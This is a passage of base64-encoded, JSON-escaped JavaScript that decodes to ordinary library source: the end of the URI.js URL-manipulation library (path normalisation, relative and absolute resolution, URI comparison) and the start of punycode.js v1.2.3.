W50ID09PSAtMSkge1xuICAgICAgICAvLyBubyBtb3JlIC4uLyB0byByZXNvbHZlXG4gICAgICAgIGJyZWFrO1xuICAgICAgfSBlbHNlIGlmIChfcGFyZW50ID09PSAwKSB7XG4gICAgICAgIC8vIHRvcCBsZXZlbCBjYW5ub3QgYmUgcmVsYXRpdmUsIHNraXAgaXRcbiAgICAgICAgX3BhdGggPSBfcGF0aC5zdWJzdHJpbmcoMyk7XG4gICAgICAgIGNvbnRpbnVlO1xuICAgICAgfVxuXG4gICAgICBfcG9zID0gX3BhdGguc3Vic3RyaW5nKDAsIF9wYXJlbnQpLmxhc3RJbmRleE9mKCcvJyk7XG4gICAgICBpZiAoX3BvcyA9PT0gLTEpIHtcbiAgICAgICAgX3BvcyA9IF9wYXJlbnQ7XG4gICAgICB9XG4gICAgICBfcGF0aCA9IF9wYXRoLnN1YnN0cmluZygwLCBfcG9zKSArIF9wYXRoLnN1YnN0cmluZyhfcGFyZW50ICsgMyk7XG4gICAgfVxuXG4gICAgLy8gcmV2ZXJ0IHRvIHJlbGF0aXZlXG4gICAgaWYgKF93YXNfcmVsYXRpdmUgJiYgdGhpcy5pcygncmVsYXRpdmUnKSkge1xuICAgICAgX3BhdGggPSBfbGVhZGluZ1BhcmVudHMgKyBfcGF0aC5zdWJzdHJpbmcoMSk7XG4gICAgfVxuXG4gICAgX3BhdGggPSBVUkkucmVjb2RlUGF0aChfcGF0aCk7XG4gICAgdGhpcy5fcGFydHMucGF0aCA9IF9wYXRoO1xuICAgIHRoaXMuYnVpbGQoIWJ1aWxkKTtcbiAgICByZXR1cm4gdGhpcztcbiAgfTtcbiAgcC5ub3JtYWxpemVQYXRobmFtZSA9IHAubm9ybWFsaXplUGF0aDtcbiAgcC5ub3JtYWxpemVRdWVyeSA9IGZ1bmN0aW9uKGJ1aWxkKSB7XG4gICAgaWYgKHR5cGVvZiB0aGlzLl9wYXJ0cy5xdWVyeSA9PT0gJ3N0cmluZycpIHtcbiAgICAgIGlmICghdGhpcy5fcGFydHMucXVlcnkubGVuZ3RoKSB7XG4gICAgICAgIHRoaXMuX3BhcnRzLnF1ZXJ5ID0gbnVsbDtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIHRoaXMucXVlcnkoVVJJLnBhcnNlUXVlcnkodGhpcy5fcGFydHMucXVlcnksIHRoaXMuX3BhcnRzLmVzY2FwZVF1ZXJ5U3BhY2UpKTtcbiAgICAgIH1cblxuICAgICAgdGhpcy5idWlsZCghYnVpbGQpO1xuICAgIH1cblxuICAgIHJldHVybiB0aGlzO1xuICB9O1xuICBwLm5vcm1hbGl6ZUZyYWdtZW50ID0gZnVuY3Rpb24oYnVpbGQpIHtcbiAgICBpZiAoIXRoaXMuX3BhcnRzLmZyYWdtZW50KSB7XG4gICAgICB0aGlzLl9wYXJ0cy5mcmFnbWVudCA9IG51bGw7XG4gICAgICB0aGlzLmJ1aWxkKCFidWlsZCk7XG4gICAgfVxuXG4gICAgcmV0dXJuIHRoaXM7XG4gIH07XG4gIHAubm9ybWFsaXplU2VhcmNoID0gcC5ub3JtYWxpemVRdWVyeTtcbiAgcC5ub3JtYWxpemVIYXNoID0gcC5ub3JtYWxpemVGcmFnbWVudDtcblxuICBwLmlzbzg4NTkgPSBmdW5jdGlvbigpIHtcbiAgICAvLyBleHBlY3QgdW5pY29kZSBpbnB1dCwgaXNvODg1OSBvdXRwdXRcbiAgICB2YXIgZSA9IFVSSS5lbmNvZGU7XG4gICAgdmFyIGQgPSBVUkkuZGVjb2RlO1xuXG4gICAgVVJJLmVuY29kZSA9IGVzY2FwZTtcbiAgICBVUkkuZGVjb2RlID0gZGVjb2RlVVJJQ29tcG9uZW50O1xuICAgIHRyeSB7XG4gICAgICB0aGlzLm5vcm1hbGl6ZSgpO1xuICAgIH0gZmluYWxseSB7XG4gICAgICBVUkkuZW5jb2RlID0gZTtcbiAgICAgIFVSSS5kZWNvZGUgPSBkO1xuICAgIH1cbiAgICByZXR1cm4gdGhpcztcbiAgfTtcblxuICBwLnVuaWNvZGUgPSBmdW5jdGlvbigpIHtcbiAgICAvLyBleHBlY3QgaXNvODg1OSBpbnB1dCwgdW5pY29kZSBvdXRwdXRcbiAgICB2YXIgZSA9IFVSSS5lbmNvZGU7XG4gICAgdmFyIGQgPSBVUkkuZGVjb2RlO1xuXG4gICAgVVJJLmVuY29kZSA9IHN0cmljdEVuY29kZVVSSUNvbXBvbmVudDtcbiAgICBVUkkuZGVjb2RlID0gdW5lc2NhcGU7XG4gICAgdHJ5IHtcbiAgICAgIHRoaXMubm9ybWFsaXplKCk7XG4gICAgfSBmaW5hbGx5IHtcbiAgICAgIFVSSS5lbmNvZGUgPSBlO1xuICAgICAgVVJJLmRlY29kZSA9IGQ7XG4gICAgfVxuICAgIHJldHVybiB0aGlzO1xuICB9O1xuXG4gIHAucmVhZGFibGUgPSBmdW5jdGlvbigpIHtcbiAgICB2YXIgdXJpID0gdGhpcy5jbG9uZSgpO1xuICAgIC8vIHJlbW92aW5nIHVzZXJuYW1lLCBwYXNzd29yZCwgYmVjYXVzZSB0aGV5IHNob3VsZG4ndCBiZSBkaXNwbGF5ZWQgYWNjb3JkaW5nIHRvIFJGQyAzOTg2XG4gICAgdXJpLnVzZXJuYW1lKCcnKS5wYXNzd29yZCgnJykubm9ybWFsaXplKCk7XG4gICAgdmFyIHQgPSAnJztcbiAgICBpZiAodXJpLl9wYXJ0cy5wcm90b2NvbCkge1xuICAgICAgdCArPSB1cmkuX3BhcnRzLnByb3RvY29sICsgJzovLyc7XG4gICAgfVxuXG4gICAgaWYgKHVyaS5fcGFydHMuaG9zdG5hbWUpIHtcbiAgICAgIGlmICh1cmkuaXMoJ3B1bnljb2RlJykgJiYgcHVueWNvZGUpIHtcbiAgICAgICAgdCArPSBwdW55Y29kZS50b1VuaWNvZGUodXJpLl9wYXJ0cy5ob3N0bmFtZSk7XG4gICAgICAgIGlmICh1cmkuX3BhcnRzLnBvcnQpIHtcbiAgICAgICAgICB0ICs9ICc6JyArIHVyaS5fcGFydHMucG9ydDtcbiAgICAgICAgfVxuICAgICAgfSBlbHNlIHtcbiAgICAgICAgdCArPSB1cmkuaG9zdCgpO1xuICAgICAgfVxuICAgIH1cblxuICAgIGlmICh1cmkuX3BhcnRzLmhvc3RuYW1lICYmIHVyaS5fcGFydHMucGF0aCAmJiB1cmkuX3BhcnRzLnBhdGguY2hhckF0KDApICE9PSAnLycpIHtcbiAgICAgIHQgKz0gJy8nO1xuICAgIH1cblxuICAgIHQgKz0gdXJpLnBhdGgodHJ1ZSk7XG4gICAgaWYgKHVyaS5fcGFydHMucXVlcnkpIHtcbiAgICAgIHZhciBxID0gJyc7XG4gICAgICBmb3IgKHZhciBpID0gMCwgcXAgPSB1cmkuX3BhcnRzLnF1ZXJ5LnNwbGl0KCcmJyksIGwgPSBxcC5sZW5ndGg7IGkgPCBsOyBpKyspIHtcbiAgICAgICAgdmFyIGt2ID0gKHFwW2ldIHx8ICcnKS5zcGxpdCgnPScpO1xuICAgICAgICBxICs9ICcmJyArIFVSSS5kZWNvZGVRdWVyeShrdlswXSwgdGhpcy5fcGFydHMuZXNjYXBlUXVlcnlTcGFjZSlcbiAgICAgICAgICAucmVwbGFjZSgvJi9nLCAnJTI2Jyk7XG5cbiAgICAgICAgaWYgKGt2WzFdICE9PSB1bmRlZmluZWQpIHtcbiAgICAgICAgICBxICs9ICc9JyArIFVSSS5kZWNvZGVRdWVyeShrdlsxXSwgdGhpcy5fcGFydHMuZXNjYXBlUXVlcnlTcGFjZSlcbiAgICAgICAgICAgIC5yZXBsYWNlKC8mL2csICclMjYnKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgdCArPSAnPycgKyBxLnN1YnN0cmluZygxKTtcbiAgICB9XG5cbiAgICB0ICs9IFVSSS5kZWNvZGVRdWVyeSh1cmkuaGFzaCgpLCB0cnVlKTtcbiAgICByZXR1cm4gdDtcbiAgfTtcblxuICAvLyByZXNvbHZpbmcgcmVsYXRpdmUgYW5kIGFic29sdXRlIFVSTHNcbiAgcC5hYnNvbHV0ZVRvID0gZnVuY3Rpb24oYmFzZSkge1xuICAgIHZhciByZXNvbHZlZCA9IHRoaXMuY2xvbmUoKTtcbiAgICB2YXIgcHJvcGVydGllcyA9IFsncHJvdG9jb2wnLCAndXNlcm5hbWUnLCAncGFzc3dvcmQnLCAnaG9zdG5hbWUnLCAncG9ydCddO1xuICAgIHZhciBiYXNlZGlyLCBpLCBwO1xuXG4gICAgaWYgKHRoaXMuX3BhcnRzLnVybikge1xuICAgICAgdGhyb3cgbmV3IEVycm9yKCdVUk5zIGRvIG5vdCBoYXZlIGFueSBnZW5lcmFsbHkgZGVmaW5lZCBoaWVyYXJjaGljYWwgY29tcG9uZW50cycpO1xuICAgIH1cblxuICAgIGlmICghKGJhc2UgaW5zdGFuY2VvZiBVUkkpKSB7XG4gICAgICBiYXNlID0gbmV3IFVSSShiYXNlKTtcbiAgICB9XG5cbiAgICBpZiAoIXJlc29sdmVkLl9wYXJ0cy5wcm90b2NvbCkge1xuICAgICAgcmVzb2x2ZWQuX3BhcnRzLnByb3RvY29sID0gYmFzZS5fcGFydHMucHJvdG9jb2w7XG4gICAgfVxuXG4gICAgaWYgKHRoaXMuX3BhcnRzLmhvc3RuYW1lKSB7XG4gICAgICByZXR1cm4gcmVzb2x2ZWQ7XG4gICAgfVxuXG4gICAgZm9yIChpID0gMDsgKHAgPSBwcm9wZXJ0aWVzW2ldKTsgaSsrKSB7XG4gICAgICByZXNvbHZlZC5fcGFydHNbcF0gPSBiYXNlLl9wYXJ0c1twXTtcbiAgICB9XG5cbiAgICBpZiAoIXJlc29sdmVkLl9wYXJ0cy5wYXRoKSB7XG4gICAgICByZXNvbHZlZC5fcGFydHMucGF0aCA9IGJhc2UuX3BhcnRzLnBhdGg7XG4gICAgICBpZiAoIXJlc29sdmVkLl9wYXJ0cy5xdWVyeSkge1xuICAgICAgICByZXNvbHZlZC5fcGFydHMucXVlcnkgPSBiYXNlLl9wYXJ0cy5xdWVyeTtcbiAgICAgIH1cbiAgICB9IGVsc2UgaWYgKHJlc29sdmVkLl9wYXJ0cy5wYXRoLnN1YnN0cmluZygtMikgPT09ICcuLicpIHtcbiAgICAgIHJlc29sdmVkLl9wYXJ0cy5wYXRoICs9ICcvJztcbiAgICB9XG5cbiAgICBpZiAocmVzb2x2ZWQucGF0aCgpLmNoYXJBdCgwKSAhPT0gJy8nKSB7XG4gICAgICBiYXNlZGlyID0gYmFzZS5kaXJlY3RvcnkoKTtcbiAgICAgIGJhc2VkaXIgPSBiYXNlZGlyID8gYmFzZWRpciA6IGJhc2UucGF0aCgpLmluZGV4T2YoJy8nKSA9PT0gMCA/ICcvJyA6ICcnO1xuICAgICAgcmVzb2x2ZWQuX3BhcnRzLnBhdGggPSAoYmFzZWRpciA/IChiYXNlZGlyICsgJy8nKSA6ICcnKSArIHJlc29sdmVkLl9wYXJ0cy5wYXRoO1xuICAgICAgcmVzb2x2ZWQubm9ybWFsaXplUGF0aCgpO1xuICAgIH1cblxuICAgIHJlc29sdmVkLmJ1aWxkKCk7XG4gICAgcmV0dXJuIHJlc29sdmVkO1xuICB9O1xuICBwLnJlbGF0aXZlVG8gPSBmdW5jdGlvbihiYXNlKSB7XG4gICAgdmFyIHJlbGF0aXZlID0gdGhpcy5jbG9uZSgpLm5vcm1hbGl6ZSgpO1xuICAgIHZhciByZWxhdGl2ZVBhcnRzLCBiYXNlUGFydHMsIGNvbW1vbiwgcmVsYXRpdmVQYXRoLCBiYXNlUGF0aDtcblxuICAgIGlmIChyZWxhdGl2ZS5fcGFydHMudXJuKSB7XG4gICAgICB0aHJvdyBuZXcgRXJyb3IoJ1VSTnMgZG8gbm90IGhhdmUgYW55IGdlbmVyYWxseSBkZWZpbmVkIGhpZXJhcmNoaWNhbCBjb21wb25lbnRzJyk7XG4gICAgfVxuXG4gICAgYmFzZSA9IG5ldyBVUkkoYmFzZSkubm9ybWFsaXplKCk7XG4gICAgcmVsYXRpdmVQYXJ0cyA9IHJlbGF0aXZlLl9wYXJ0cztcbiAgICBiYXNlUGFydHMgPSBiYXNlLl9wYXJ0cztcbiAgICByZWxhdGl2ZVBhdGggPSByZWxhdGl2ZS5wYXRoKCk7XG4gICAgYmFzZVBhdGggPSBiYXNlLnBhdGgoKTtcblxuICAgIGlmIChyZWxhdGl2ZVBhdGguY2hhckF0KDApICE9PSAnLycpIHtcbiAgICAgIHRocm93IG5ldyBFcnJvcignVVJJIGlzIGFscmVhZHkgcmVsYXRpdmUnKTtcbiAgICB9XG5cbiAgICBpZiAoYmFzZVBhdGguY2hhckF0KDApICE9PSAnLycpIHtcbiAgICAgIHRocm93IG5ldyBFcnJvcignQ2Fubm90IGNhbGN1bGF0ZSBhIFVSSSByZWxhdGl2ZSB0byBhbm90aGVyIHJlbGF0aXZlIFVSSScpO1xuICAgIH1cblxuICAgIGlmIChyZWxhdGl2ZVBhcnRzLnByb3RvY29sID09PSBiYXNlUGFydHMucHJvdG9jb2wpIHtcbiAgICAgIHJlbGF0aXZlUGFydHMucHJvdG9jb2wgPSBudWxsO1xuICAgIH1cblxuICAgIGlmIChyZWxhdGl2ZVBhcnRzLnVzZXJuYW1lICE9PSBiYXNlUGFydHMudXNlcm5hbWUgfHwgcmVsYXRpdmVQYXJ0cy5wYXNzd29yZCAhPT0gYmFzZVBhcnRzLnBhc3N3b3JkKSB7XG4gICAgICByZXR1cm4gcmVsYXRpdmUuYnVpbGQoKTtcbiAgICB9XG5cbiAgICBpZiAocmVsYXRpdmVQYXJ0cy5wcm90b2NvbCAhPT0gbnVsbCB8fCByZWxhdGl2ZVBhcnRzLnVzZXJuYW1lICE9PSBudWxsIHx8IHJlbGF0aXZlUGFydHMucGFzc3dvcmQgIT09IG51bGwpIHtcbiAgICAgIHJldHVybiByZWxhdGl2ZS5idWlsZCgpO1xuICAgIH1cblxuICAgIGlmIChyZWxhdGl2ZVBhcnRzLmhvc3RuYW1lID09PSBiYXNlUGFydHMuaG9zdG5hbWUgJiYgcmVsYXRpdmVQYXJ0cy5wb3J0ID09PSBiYXNlUGFydHMucG9ydCkge1xuICAgICAgcmVsYXRpdmVQYXJ0cy5ob3N0bmFtZSA9IG51bGw7XG4gICAgICByZWxhdGl2ZVBhcnRzLnBvcnQgPSBudWxsO1xuICAgIH0gZWxzZSB7XG4gICAgICByZXR1cm4gcmVsYXRpdmUuYnVpbGQoKTtcbiAgICB9XG5cbiAgICBpZiAocmVsYXRpdmVQYXRoID09PSBiYXNlUGF0aCkge1xuICAgICAgcmVsYXRpdmVQYXJ0cy5wYXRoID0gJyc7XG4gICAgICByZXR1cm4gcmVsYXRpdmUuYnVpbGQoKTtcbiAgICB9XG5cbiAgICAvLyBkZXRlcm1pbmUgY29tbW9uIHN1YiBwYXRoXG4gICAgY29tbW9uID0gVVJJLmNvbW1vblBhdGgocmVsYXRpdmVQYXRoLCBiYXNlUGF0aCk7XG5cbiAgICAvLyBJZiB0aGUgcGF0aHMgaGF2ZSBub3RoaW5nIGluIGNvbW1vbiwgcmV0dXJuIGEgcmVsYXRpdmUgVVJMIHdpdGggdGhlIGFic29sdXRlIHBhdGguXG4gICAgaWYgKCFjb21tb24pIHtcbiAgICAgIHJldHVybiByZWxhdGl2ZS5idWlsZCgpO1xuICAgIH1cblxuICAgIHZhciBwYXJlbnRzID0gYmFzZVBhcnRzLnBhdGhcbiAgICAgIC5zdWJzdHJpbmcoY29tbW9uLmxlbmd0aClcbiAgICAgIC5yZXBsYWNlKC9bXlxcL10qJC8sICcnKVxuICAgICAgLnJlcGxhY2UoLy4qP1xcLy9nLCAnLi4vJyk7XG5cbiAgICByZWxhdGl2ZVBhcnRzLnBhdGggPSAocGFyZW50cyArIHJlbGF0aXZlUGFydHMucGF0aC5zdWJzdHJpbmcoY29tbW9uLmxlbmd0aCkpIHx8ICcuLyc7XG5cbiAgICByZXR1cm4gcmVsYXRpdmUuYnVpbGQoKTtcbiAgfTtcblxuICAvLyBjb21wYXJpbmcgVVJJc1xuICBwLmVxdWFscyA9IGZ1bmN0aW9uKHVyaSkge1xuICAgIHZhciBvbmUgPSB0aGlzLmNsb25lKCk7XG4gICAgdmFyIHR3byA9IG5ldyBVUkkodXJpKTtcbiAgICB2YXIgb25lX21hcCA9IHt9O1xuICAgIHZhciB0d29fbWFwID0ge307XG4gICAgdmFyIGNoZWNrZWQgPSB7fTtcbiAgICB2YXIgb25lX3F1ZXJ5LCB0d29fcXVlcnksIGtleTtcblxuICAgIG9uZS5ub3JtYWxpemUoKTtcbiAgICB0d28ubm9ybWFsaXplKCk7XG5cbiAgICAvLyBleGFjdCBtYXRjaFxuICAgIGlmIChvbmUudG9TdHJpbmcoKSA9PT0gdHdvLnRvU3RyaW5nKCkpIHtcbiAgICAgIHJldHVybiB0cnVlO1xuICAgIH1cblxuICAgIC8vIGV4dHJhY3QgcXVlcnkgc3RyaW5nXG4gICAgb25lX3F1ZXJ5ID0gb25lLnF1ZXJ5KCk7XG4gICAgdHdvX3F1ZXJ5ID0gdHdvLnF1ZXJ5KCk7XG4gICAgb25lLnF1ZXJ5KCcnKTtcbiAgICB0d28ucXVlcnkoJycpO1xuXG4gICAgLy8gZGVmaW5pdGVseSBub3QgZXF1YWwgaWYgbm90IGV2ZW4gbm9uLXF1ZXJ5IHBhcnRzIG1hdGNoXG4gICAgaWYgKG9uZS50b1N0cmluZygpICE9PSB0d28udG9TdHJpbmcoKSkge1xuICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIC8vIHF1ZXJ5IHBhcmFtZXRlcnMgaGF2ZSB0aGUgc2FtZSBsZW5ndGgsIGV2ZW4gaWYgdGhleSdyZSBwZXJtdXRlZFxuICAgIGlmIChvbmVfcXVlcnkubGVuZ3RoICE9PSB0d29fcXVlcnkubGVuZ3RoKSB7XG4gICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgb25lX21hcCA9IFVSSS5wYXJzZVF1ZXJ5KG9uZV9xdWVyeSwgdGhpcy5fcGFydHMuZXNjYXBlUXVlcnlTcGFjZSk7XG4gICAgdHdvX21hcCA9IFVSSS5wYXJzZVF1ZXJ5KHR3b19xdWVyeSwgdGhpcy5fcGFydHMuZXNjYXBlUXVlcnlTcGFjZSk7XG5cbiAgICBmb3IgKGtleSBpbiBvbmVfbWFwKSB7XG4gICAgICBpZiAoaGFzT3duLmNhbGwob25lX21hcCwga2V5KSkge1xuICAgICAgICBpZiAoIWlzQXJyYXkob25lX21hcFtrZXldKSkge1xuICAgICAgICAgIGlmIChvbmVfbWFwW2tleV0gIT09IHR3b19tYXBba2V5XSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIGlmICghYXJyYXlzRXF1YWwob25lX21hcFtrZXldLCB0d29fbWFwW2tleV0pKSB7XG4gICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG5cbiAgICAgICAgY2hlY2tlZFtrZXldID0gdHJ1ZTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICBmb3IgKGtleSBpbiB0d29fbWFwKSB7XG4gICAgICBpZiAoaGFzT3duLmNhbGwodHdvX21hcCwga2V5KSkge1xuICAgICAgICBpZiAoIWNoZWNrZWRba2V5XSkge1xuICAgICAgICAgIC8vIHR3byBjb250YWlucyBhIHBhcmFtZXRlciBub3QgcHJlc2VudCBpbiBvbmVcbiAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gdHJ1ZTtcbiAgfTtcblxuICAvLyBzdGF0ZVxuICBwLmR1cGxpY2F0ZVF1ZXJ5UGFyYW1ldGVycyA9IGZ1bmN0aW9uKHYpIHtcbiAgICB0aGlzLl9wYXJ0cy5kdXBsaWNhdGVRdWVyeVBhcmFtZXRlcnMgPSAhIXY7XG4gICAgcmV0dXJuIHRoaXM7XG4gIH07XG5cbiAgcC5lc2NhcGVRdWVyeVNwYWNlID0gZnVuY3Rpb24odikge1xuICAgIHRoaXMuX3BhcnRzLmVzY2FwZVF1ZXJ5U3BhY2UgPSAhIXY7XG4gICAgcmV0dXJuIHRoaXM7XG4gIH07XG5cbiAgcmV0dXJuIFVSSTtcbn0pKTtcbiIsIi8qISBodHRwOi8vbXRocy5iZS9wdW55Y29kZSB2MS4yLjMgYnkgQG1hdGhpYXMgKi9cbjsoZnVuY3Rpb24ocm9vdCkge1xuXG5cdC8qKiBEZXRlY3QgZnJlZSB2YXJpYWJsZXMgKi9cblx0dmFyIGZyZWVFeHBvcnRzID0gdHlwZW9mIGV4cG9ydHMgPT0gJ29iamVjdCcgJiYgZXhwb3J0cztcblx0dmFyIGZyZWVNb2R1bGUgPSB0eXBlb2YgbW9kdWxlID09ICdvYmplY3QnICYmIG1vZHVsZSAmJlxuXHRcdG1vZHVsZS5leHBvcnRzID09IGZyZWVFeHBvcnRzICYmIG1vZHVsZTtcblx0dmFyIGZyZWVHbG9iYWwgPSB0eXBlb2YgZ2xvYmFsID09ICdvYmplY3QnICYmIGdsb2JhbDtcblx0aWYgKGZyZWVHbG9iYWwuZ2xvYmFsID09PSBmcmVlR2xvYmFsIHx8IGZyZWVHbG9iYWwud2luZG93ID09PSBmcmVlR2xvYmFsKSB7XG5cdFx0cm9vdCA9IGZyZWVHbG9iYWw7XG5cdH1cblxuXHQvKipcblx0ICogVGhlIGBwdW55Y29kZWAgb2JqZWN0LlxuXHQgKiBAbmFtZSBwdW55Y29kZVxuXHQgKiBAdHlwZSBPYmplY3Rcblx0ICovXG5cdHZhciBwdW55Y29kZSxcblxuXHQvKiogSGlnaGVzdCBwb3NpdGl2ZSBzaWduZWQgMzItYml0IGZsb2F0IHZhbHVlICovXG5cdG1heEludCA9IDIxNDc0ODM2NDcsIC8vIGFrYS4gMHg3RkZGRkZGRiBvciAyXjMxLTFcblxuXHQvKiogQm9vdHN0cmluZyBwYXJhbWV0ZXJzICovXG5cdGJhc2UgPSAzNixcblx0dE1pbiA9IDEsXG5cdHRNYXggPSAyNixcblx0c2tldyA9IDM4LFxuXHRkYW1wID0gNzAwLFxuXHRpbml0aWFsQmlhcyA9IDcyLFxuXHRpbml0aWFsTiA9IDEyOCwgLy8gMHg4MFxuXHRkZWxpbWl0ZXIgPSAnLScsIC8vICdcXHgyRCdcblxuXHQvKiogUmVndWxhciBleHByZXNzaW9ucyAqL1xuXHRyZWdleFB1bnljb2RlID0gL154bi0tLyxcblx0cmVnZXhOb25BU0NJSSA9IC9bXiAtfl0vLCAvLyB1bnByaW50YWJsZSBBU0NJSSBjaGFycyArIG5vbi1BU0NJSSBjaGFyc1xuXHRyZWdleFNlcGFyYXRvcnMgPSAvXFx4MkV8XFx1MzAwMnxcXHVGRjBFfFxcdUZGNjEvZywgLy8gUkZDIDM0OTAgc2VwYXJhdG9yc1xuXG5cdC8qKiBFcnJvciBtZXNzYWdlcyAqL1xuXHRlcnJvcnMgPSB7XG5cdFx0J292ZXJmbG93JzogJ092ZXJmbG93OiBpbnB1dCBuZWVkcyB3aWRlciBpbnRlZ2VycyB0byBwcm9jZXNzJyxcblx0XHQnbm90LWJhc2ljJzogJ0lsbGVnYWwgaW5wdXQgPj0gMHg4MCAobm90IGEgYmFzaWMgY29kZSBwb2ludCknLFxuXHRcdCdpbnZhbGlkLWlucHV0JzogJ0ludmFsaWQgaW5wdXQnXG5cdH0sXG5cblx0LyoqIENvbnZlbmllbmNlIHNob3J0Y3V0cyAqL1xuXHRiYXNlTWludXNUTWluID0gYmFzZSAtIHRNaW4sXG5cdGZsb29yID0gTWF0aC5mbG9vcixcblx0c3RyaW5nRnJvbUNoYXJDb2RlID0gU3RyaW5nLmZyb21DaGFyQ29kZSxcblxuXHQvKiogVGVtcG9yYXJ5IHZhcmlhYmxlICovXG5cdGtleTtcblxuXHQvKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi9cblxuXHQvKipcblx0ICogQSBnZW5lcmljIGVycm9yIHV0aWxpdHkgZnVuY3Rpb24uXG5cdCAqIEBwcml2YXRlXG5cdCAqIEBwYXJhbSB7U3RyaW5nfSB0eXBlIFRoZSBlcnJvciB0eXBlLlxuXHQgKiBAcmV0dXJucyB7RXJyb3J9IFRocm93cyBhIGBSYW5nZUVycm9yYCB3aXRoIHRoZSBhcHBsaWNhYmxlIGVycm9yIG1lc3NhZ2UuXG5cdCAqL1xuXHRmdW5jdGlvbiBlcnJvcih0eXBlKSB7XG5cdFx0dGhyb3cgUmFuZ2VFcnJvcihlcnJvcnNbdHlwZV0pO1xuXHR9XG5cblx0LyoqXG5cdCAqIEEgZ2VuZXJpYyBgQXJyYXkjbWFwYCB1dGlsaXR5IGZ1bmN0aW9uLlxuXHQgKiBAcHJpdmF0ZVxuXHQgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gaXRlcmF0ZSBvdmVyLlxuXHQgKiBAcGFyYW0ge0Z1bmN0aW9ufSBjYWxsYmFjayBUaGUgZnVuY3Rpb24gdGhhdCBnZXRzIGNhbGxlZCBmb3IgZXZlcnkgYXJyYXlcblx0ICogaXRlbS5cblx0ICogQHJldHVybnMge0FycmF5fSBBIG5ldyBhcnJheSBvZiB2YWx1ZXMgcmV0dXJuZWQgYnkgdGhlIGNhbGxiYWNrIGZ1bmN0aW9uLlxuXHQgKi9cblx0ZnVuY3Rpb24gbWFwKGFycmF5LCBmbikge1xuXHRcdHZhciBsZW5ndGggPSBhcnJheS5sZW5ndGg7XG5cdFx0d2hpbGUgKGxlbmd0aC0tKSB7XG5cdFx0XHRhcnJheVtsZW5ndGhdID0gZm4oYXJyYXlbbGVuZ3RoXSk7XG5cdFx0fVxuXHRcdHJldHVybiBhcnJheTtcblx0fVxuXG5cdC8qKlxuXHQgKiBBIHNpbXBsZSBgQXJyYXkjbWFwYC1saWtlIHdyYXBwZXIgdG8gd29yayB3aXRoIGRvbWFpbiBuYW1lIHN0cmluZ3MuXG5cdCAqIEBwcml2YXRlXG5cdCAqIEBwYXJhbSB7U3RyaW5nfSBkb21haW4gVGhlIGRvbWFpbiBuYW1lLlxuXHQgKiBAcGFyYW0ge0Z1bmN0aW9ufSBjYWxsYmFjayBUaGUgZnVuY3Rpb24gdGhhdCBnZXRzIGNhbGxlZCBmb3IgZXZlcnlcblx0ICogY2hhcmFjdGVyLlxuXHQgKiBAcmV0dXJucyB7QXJyYXl9IEEgbmV3IHN0cmluZyBvZiBjaGFyYWN0ZXJzIHJldHVybmVkIGJ5IHRoZSBjYWxsYmFja1xuXHQgKiBmdW5jdGlvbi5cblx0ICovXG5cdGZ1bmN0aW9uIG1hcERvbWFpbihzdHJpbmcsIGZuKSB7XG5cdFx0cmV0dXJuIG1hcChzdHJpbmcuc3BsaXQocmVnZXhTZXBhcmF0b3JzKSwgZm4pLmpvaW4oJy4nKTtcblx0fVxuXG5cdC8qKlxuXHQgKiBDcmVhdGVzIGFuIGFycmF5IGNvbnRhaW5pbmcgdGhlIG51bWVyaWMgY29kZSBwb2ludHMgb2YgZWFjaCBVbmljb2RlXG5cdCAqIGNoYXJhY3RlciBpbiB0aGUgc3RyaW5nLiBXaGlsZSBKYXZhU2NyaXB0IHVzZXMgVUNTLTIgaW50ZXJuYWxseSxcblx0ICogdGhpcyBmdW5jdGlvbiB3aWxsIGNvbnZlcnQgYSBwYWlyIG9mIHN1cnJvZ2F0ZSBoYWx2ZXMgKGVhY2ggb2Ygd2hpY2hcblx0ICogVUNTLTIgZXhwb3NlcyBhcyBzZXBhcmF0ZSBjaGFyYWN0ZXJzKSBpbnRvIGEgc2luZ2xlIGNvZGUgcG9pbnQsXG5cdCAqIG1hdGNoaW5nIFVURi0xNi5cblx0ICogQHNlZSBgcHVueWNvZGUudWNzMi5lbmNvZGVgXG5cdCAqIEBzZWUgPGh0dHA6Ly9tYXRoaWFzYnluZW5zLmJlL25vdGVzL2phdmFzY3JpcHQtZW5jb2Rpbmc+XG5cdCAqIEBtZW1iZXJPZiBwdW55Y29kZS51Y3MyXG5cdCAqIEBuYW1lIGRlY29kZVxuXHQgKiBAcGFyYW0ge1N0cmluZ30gc3RyaW5nIFRoZSBVbmljb2RlIGlucHV0IHN0cmluZyAoVUNTLTIpLlxuXHQgKiBAcmV0dXJucyB7QXJyYXl9IFRoZSBuZXcgYXJyYXkgb2YgY29kZSBwb2ludHMuXG5cdCAqL1xuXHRmdW5jdGlvbiB1Y3MyZGVjb2RlKHN0cmluZykge1xuXHRcdHZhciBvdXRwdXQgPSBbXSxcblx0XHQgICAgY291bnRlciA9IDAsXG5cdFx0ICAgIGxlbmd0aCA9IHN0cmluZy5sZW5ndGgsXG5cdFx0ICAgIHZhbHVlLFxuXHRcdCAgICBleHRyYTtcblx0XHR3aGlsZSAoY291bnRlciA8IGxlbmd0aCkge1xuXHRcdFx0dmFsdWUgPSBzdHJpbmcuY2hhckNvZGVBdChjb3VudGVyKyspO1xuXHRcdFx0aWYgKHZhbHVlID49IDB4RDgwMCAmJiB2YWx1ZSA8PSAweERCRkYgJiYgY291bnRlciA8IGxlbmd0aCkge1xuXHRcdFx0XHQvLyBoaWdoIHN1cnJvZ2F0ZSwgYW5kIHRoZXJlIGlzIGEgbmV4dCBjaGFyYWN0ZXJcblx0XHRcdFx0ZXh0cmEgPSBzdHJpbmcuY2hhckNvZGVBdChjb3VudGVyKyspO1xuXHRcdFx0XHRpZiAoKGV4dHJhICYgM